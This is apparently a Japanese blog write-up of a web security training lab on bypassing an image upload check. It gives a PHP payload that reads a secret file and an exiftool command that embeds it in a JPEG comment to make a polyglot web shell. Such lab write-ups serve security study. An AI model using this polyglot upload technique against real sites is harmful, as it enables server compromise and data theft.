academy ファイルアップロード 6問目 ポリグロットWebシェルアップロードによるリモートコード実行

WEBセキュリティー

Remote code execution via polyglot web shell upload

wienerでログイン

exploit.phpを作成

<?php echo file_get_contents('/home/carlos/secret'); ?>

アバターアップロード画面よりアップ

Error: file is not a valid image Sorry, there was an error uploading your file.
のエラー
ファイルがimageファイルか、バイナリレベルでチェックしていそう

今回は、ExifTool を使用

ExifToolをインストール
*私は、centos環境でインストしました。(win/mac版もあると思います

以下コマンドで、先頭部分は、JPGファイルで、コメント部分に、phpファイルを埋め込んだ偽装ファイルが作れる
*jpegファイルの見本になるファイル(今回は、base.jpg)がいるみたい

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" base.jpg -o polyglot.php

polyglot.phpが作成された

アバター画面から、polyglot.phpをアップ

アップロード成功

My accountページへ

ヒストリーで、
GET /files/avatars/polyglot.php を探し、
レスポンスを、STARTの文字で検索

php文が実行され、秘密の文字が表示されている


Submit solutionに入れて、クリア!

–)v

コメント

タイトルとURLをコピーしました